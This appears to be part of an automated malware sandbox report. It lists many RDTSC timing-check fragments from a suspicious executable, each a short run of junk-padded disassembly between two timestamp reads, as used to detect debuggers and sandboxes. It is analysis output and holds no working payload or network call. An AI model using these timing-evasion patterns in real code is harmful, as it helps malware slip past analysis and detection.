Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76742D second address: 767459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F53D9251E76h 0x0000000a popad 0x0000000b jbe 00007F53D9251E8Dh 0x00000011 jmp 00007F53D9251E87h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767459 second address: 76745D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76745D second address: 76747D instructions: 0x00000000 rdtsc 0x00000002 je 00007F53D9251E76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F53D9251E7Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76747D second address: 767481 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767481 second address: 767499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53D9251E7Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767499 second address: 7674A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53D9251A4Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76779F second address: 7677B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F53D9251E84h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77072D second address: 770733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 770733 second address: 77073A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77073A second address: 77074A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F53D9251A46h 0x0000000a js 00007F53D9251A46h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77074A second address: 77074E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F8EA second address: 76F8EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F8EF second address: 76F916 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F53D9251E78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F53D9251E89h 0x00000012 jmp 00007F53D9251E83h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F916 second address: 76F931 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F53D9251A48h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007F53D9251A4Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76FAA2 second address: 76FAAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76FAAE second address: 76FAC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53D9251A4Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76FAC1 second address: 76FAED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E81h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007F53D9251E7Ch 0x00000011 pushad 0x00000012 jp 00007F53D9251E76h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76FD92 second address: 76FDA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 jne 00007F53D9251A4Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76FECD second address: 76FED2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 770025 second address: 770062 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F53D9251A4Eh 0x0000000b jmp 00007F53D9251A55h 0x00000010 jmp 00007F53D9251A4Eh 0x00000015 popad 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 770062 second address: 770066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7701D1 second address: 7701E7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F53D9251A4Ch 0x00000008 jp 00007F53D9251A52h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7701E7 second address: 7701ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7785D1 second address: 7785EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A59h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7785EE second address: 778610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F53D9251E76h 0x0000000e jmp 00007F53D9251E84h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 778AAC second address: 778AB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 778AB1 second address: 778AB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 778AB9 second address: 778ABD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7791AC second address: 7791B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7791B5 second address: 7791B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7791B9 second address: 7791D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F53D9251E7Ah 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7791D0 second address: 7791E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F53D9251A4Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7791E2 second address: 7791EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F53D9251E76h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7791EE second address: 7791F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7791F2 second address: 7791FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7791FE second address: 779208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F53D9251A46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779208 second address: 77920C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779345 second address: 779368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53D9251A58h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779368 second address: 77936C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77936C second address: 779386 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c jne 00007F53D9251A46h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779386 second address: 7793A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F53D9251E7Ch 0x0000000b jo 00007F53D9251E76h 0x00000011 pushad 0x00000012 jo 00007F53D9251E76h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77A1A3 second address: 77A1AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7911C9 second address: 7911E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7911E0 second address: 7911E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7911E8 second address: 7911F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F53D9251E76h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7911F3 second address: 791217 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F53D9251A52h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F53D9251A5Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007F53D9251A46h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790D97 second address: 790D9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790D9B second address: 790DA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790DA5 second address: 790DAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790DAB second address: 790DAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790DAF second address: 790DB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79969A second address: 7996A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9396 second address: 7A939A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A939A second address: 7A93A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A93A0 second address: 7A93B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jl 00007F53D9251E76h 0x0000000d pop ecx 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A93B4 second address: 7A93B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A955E second address: 7A9586 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E88h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f jnl 00007F53D9251E76h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9586 second address: 7A95A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A57h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9815 second address: 7A981C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A981C second address: 7A9824 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9824 second address: 7A9828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9976 second address: 7A997A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9C4E second address: 7A9C5D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9C5D second address: 7A9C63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9C63 second address: 7A9C87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F53D9251E86h 0x0000000b jmp 00007F53D9251E80h 0x00000010 push esi 0x00000011 jo 00007F53D9251E76h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA613 second address: 7AA619 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF065 second address: 7AF080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F53D9251E87h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF080 second address: 7AF091 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A4Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF091 second address: 7AF0A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF0A1 second address: 7AF0A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2213 second address: 7B2221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F53D9251E76h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD37E second address: 7BD39C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A4Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jl 00007F53D9251A4Ah 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF6F3 second address: 7BF6F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF6F9 second address: 7BF709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 je 00007F53D9251A46h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BAB43 second address: 7BAB5B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F53D9251E82h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB587 second address: 7CB58B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE27E second address: 7CE28A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE28A second address: 7CE28E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE28E second address: 7CE292 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CDE4F second address: 7CDE6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F53D9251A46h 0x0000000a jmp 00007F53D9251A54h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CDE6D second address: 7CDE71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CDE71 second address: 7CDE77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CDE77 second address: 7CDE80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E4A1C second address: 7E4A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E4A20 second address: 7E4A49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E80h 0x00000007 jmp 00007F53D9251E85h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E4A49 second address: 7E4A51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E416C second address: 7E4170 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E4170 second address: 7E4176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E4714 second address: 7E4718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E4718 second address: 7E4736 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F53D9251A52h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E4736 second address: 7E475B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F53D9251E87h 0x0000000d jnl 00007F53D9251E76h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E475B second address: 7E4761 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7713 second address: 7E7723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 jns 00007F53D9251E76h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA47D second address: 7EA48A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F53D9251A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA48A second address: 7EA490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA6E2 second address: 7EA6E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA6E8 second address: 7EA6EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EBEF7 second address: 7EBF04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnl 00007F53D9251A48h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EBF04 second address: 7EBF09 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EBF09 second address: 7EBF1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F53D9251A46h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EBF1C second address: 7EBF20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EBF20 second address: 7EBF3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53D9251A53h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f rdtsc
